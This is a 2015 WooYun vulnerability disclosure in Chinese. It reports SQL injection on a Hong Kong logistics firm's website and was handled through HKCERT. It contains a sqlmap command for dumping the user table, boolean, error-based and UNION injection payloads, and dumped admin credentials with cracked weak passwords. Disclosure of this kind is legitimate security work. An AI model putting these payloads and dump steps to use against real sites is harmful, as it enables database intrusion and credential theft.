当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0151439

漏洞标题：期達（香港）國際物流有限公司某處存在SQL插入攻擊（admin弱密碼泄露）（香港地區）

相关厂商：期達（香港）國際物流有限公司

漏洞作者： 路人甲

提交时间：2015-11-03 10:09

修复时间：2015-12-19 18:04

公开时间：2015-12-19 18:04

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：已交由第三方合作机构(hkcert香港互联网应急协调中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-03： 细节已通知厂商并且等待厂商处理中
2015-11-04： 厂商已经确认，细节仅向厂商公开
2015-11-14： 细节向核心白帽子及相关领域专家公开
2015-11-24： 细节向普通白帽子公开
2015-12-04： 细节向实习白帽子公开
2015-12-19： 细节向公众公开

简要描述：

期达（香港）国际物流有限公司于2006年在香港注册处登记注册并正式营业。运输方式以中港进出口快运服务，国际快递（UPS/DHL/FEDEX），国际海运，国际空运为主；服务范围贯穿货物运输、仓储及港区派送等领域，运输产品涵盖了化工、建材、纺织、食品、制药、电器、高科技产品等各行各业。并拥有报关、报检，代理退税等各种代理资格。
本公司于广州、深圳、东莞设有分部，能为客户随时报告货物情况及运作详情，让客户清楚知道运载过程中的最新进度。运载程序完成后，对文件的回送处理，更有快捷、妥善之安排。
公司提供合理的运输服务收费，准时快捷的运输服务，优质的文档处理及后勤服务。以此来协助贵司应对竞争激烈，形势多变的市场。 我们的核心业务是港澳台运输专线与国际快递代理，其中包含大陆各区到香港运输、澳门运输、台湾海运，提供港澳台贸易进出口运输和快件进口运输，优质的门到门一站式服务。我们属于专业的“中港物流”公司，与国内物流运输有很大区别，我们在香港、澳门、台湾地区专为照顾国内工厂及台湾客户而设，令一些在香港没有设立办事处的客户减轻工作量。本公司特为客户提供一张全面的一条龙服务订单，可代客户于香港报关及清关。本公司的储仓服务更专为一些未到船期或货期的货物而设，代客上船公司转单、转文件、大陆车直接出入仓交收。为客户度身订造适合的中港运作，以减轻客户的负担。我们做得专注，只为提供更优质的物流运输服务！

详细说明：

地址：http://**.**.**.**/index.php?c=news&a=detail&pid=2&id=94

python sqlmap.py -u "http://**.**.**.**/index.php?c=news&a=detail&pid=2&id=94" -p id --technique=BEU --random-agent -D qida -T sp_user -C id,username,password,pass,email --dump

漏洞证明：

---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: c=news&a=detail&pid=2&id=94 AND 9485=9485
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: c=news&a=detail&pid=2&id=94 AND (SELECT 5618 FROM(SELECT COUNT(*),CONCAT(0x7171717671,(SELECT (ELT(5618=5618,1))),0x71707a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
    Type: UNION query
    Title: Generic UNION query (NULL) - 12 columns
    Payload: c=news&a=detail&pid=2&id=94 UNION ALL SELECT NULL,CONCAT(0x7171717671,0x56574475667641635253577a4d4c6e6a6b575262575566644958676b4978424d7a634b5667566b67,0x71707a7671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.17
back-end DBMS: MySQL 5.0
current user:    'qida@localhost'
current user is DBA:    False
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: c=news&a=detail&pid=2&id=94 AND 9485=9485
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: c=news&a=detail&pid=2&id=94 AND (SELECT 5618 FROM(SELECT COUNT(*),CONCAT(0x7171717671,(SELECT (ELT(5618=5618,1))),0x71707a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
    Type: UNION query
    Title: Generic UNION query (NULL) - 12 columns
    Payload: c=news&a=detail&pid=2&id=94 UNION ALL SELECT NULL,CONCAT(0x7171717671,0x56574475667641635253577a4d4c6e6a6b575262575566644958676b4978424d7a634b5667566b67,0x71707a7671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.17
back-end DBMS: MySQL 5.0
database management system users [1]:
[*] 'qida'@'localhost'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: c=news&a=detail&pid=2&id=94 AND 9485=9485
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: c=news&a=detail&pid=2&id=94 AND (SELECT 5618 FROM(SELECT COUNT(*),CONCAT(0x7171717671,(SELECT (ELT(5618=5618,1))),0x71707a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
    Type: UNION query
    Title: Generic UNION query (NULL) - 12 columns
    Payload: c=news&a=detail&pid=2&id=94 UNION ALL SELECT NULL,CONCAT(0x7171717671,0x56574475667641635253577a4d4c6e6a6b575262575566644958676b4978424d7a634b5667566b67,0x71707a7671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.17
back-end DBMS: MySQL 5.0
available databases [2]:
[*] information_schema
[*] qida
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: c=news&a=detail&pid=2&id=94 AND 9485=9485
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: c=news&a=detail&pid=2&id=94 AND (SELECT 5618 FROM(SELECT COUNT(*),CONCAT(0x7171717671,(SELECT (ELT(5618=5618,1))),0x71707a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
    Type: UNION query
    Title: Generic UNION query (NULL) - 12 columns
    Payload: c=news&a=detail&pid=2&id=94 UNION ALL SELECT NULL,CONCAT(0x7171717671,0x56574475667641635253577a4d4c6e6a6b575262575566644958676b4978424d7a634b5667566b67,0x71707a7671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.17
back-end DBMS: MySQL 5.0
Database: qida
[27 tables]
+------------------+
| sp_address       |
| sp_article       |
| sp_article_cat   |
| sp_articlefavor  |
| sp_ask           |
| sp_askvalue      |
| sp_config        |
| sp_download      |
| sp_favor         |
| sp_feedback      |
| sp_goods         |
| sp_goods_attr    |
| sp_goods_color   |
| sp_goods_type    |
| sp_goodscat      |
| sp_goodsfloder   |
| sp_goodsimg      |
| sp_goodsrar      |
| sp_member        |
| sp_membernews    |
| sp_memberproduct |
| sp_orderlist     |
| sp_pageimg       |
| sp_qq            |
| sp_question_list |
| sp_user          |
| sp_userbanner    |
+------------------+
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: c=news&a=detail&pid=2&id=94 AND 9485=9485
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: c=news&a=detail&pid=2&id=94 AND (SELECT 5618 FROM(SELECT COUNT(*),CONCAT(0x7171717671,(SELECT (ELT(5618=5618,1))),0x71707a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
    Type: UNION query
    Title: Generic UNION query (NULL) - 12 columns
    Payload: c=news&a=detail&pid=2&id=94 UNION ALL SELECT NULL,CONCAT(0x7171717671,0x56574475667641635253577a4d4c6e6a6b575262575566644958676b4978424d7a634b5667566b67,0x71707a7671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.17
back-end DBMS: MySQL 5.0
Database: qida
Table: sp_user
[8 columns]
+-------------+--------------+
| Column      | Type         |
+-------------+--------------+
| create_time | datetime     |
| email       | varchar(30)  |
| flag        | tinyint(1)   |
| id          | int(11)      |
| menuflag    | varchar(255) |
| pass        | varchar(255) |
| password    | varchar(50)  |
| username    | varchar(30)  |
+-------------+--------------+
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: c=news&a=detail&pid=2&id=94 AND 9485=9485
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: c=news&a=detail&pid=2&id=94 AND (SELECT 5618 FROM(SELECT COUNT(*),CONCAT(0x7171717671,(SELECT (ELT(5618=5618,1))),0x71707a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
    Type: UNION query
    Title: Generic UNION query (NULL) - 12 columns
    Payload: c=news&a=detail&pid=2&id=94 UNION ALL SELECT NULL,CONCAT(0x7171717671,0x56574475667641635253577a4d4c6e6a6b575262575566644958676b4978424d7a634b5667566b67,0x71707a7671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.17
back-end DBMS: MySQL 5.0
Database: qida
Table: sp_user
[3 entries]
+----+----------+-------------------------------------------+--------+---------+
| id | username | password                                  | pass   | email   |
+----+----------+-------------------------------------------+--------+---------+
| 1  | admin    | e10adc3949ba59abbe56e057f20f883e (123456) | 123456 | <blank> |
| 2  | xiaoq    | e10adc3949ba59abbe56e057f20f883e (123456) | 123456 | <blank> |
| 3  | cgjcgs   | bf9017d04f72c1b5ba407971fbf61289 (chang)  | chang  | NULL    |
+----+----------+-------------------------------------------+--------+---------+

修复方案：

上WAF。

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2015-11-04 18:02

厂商回复：

已將事件通知有關機構

最新状态：

暂无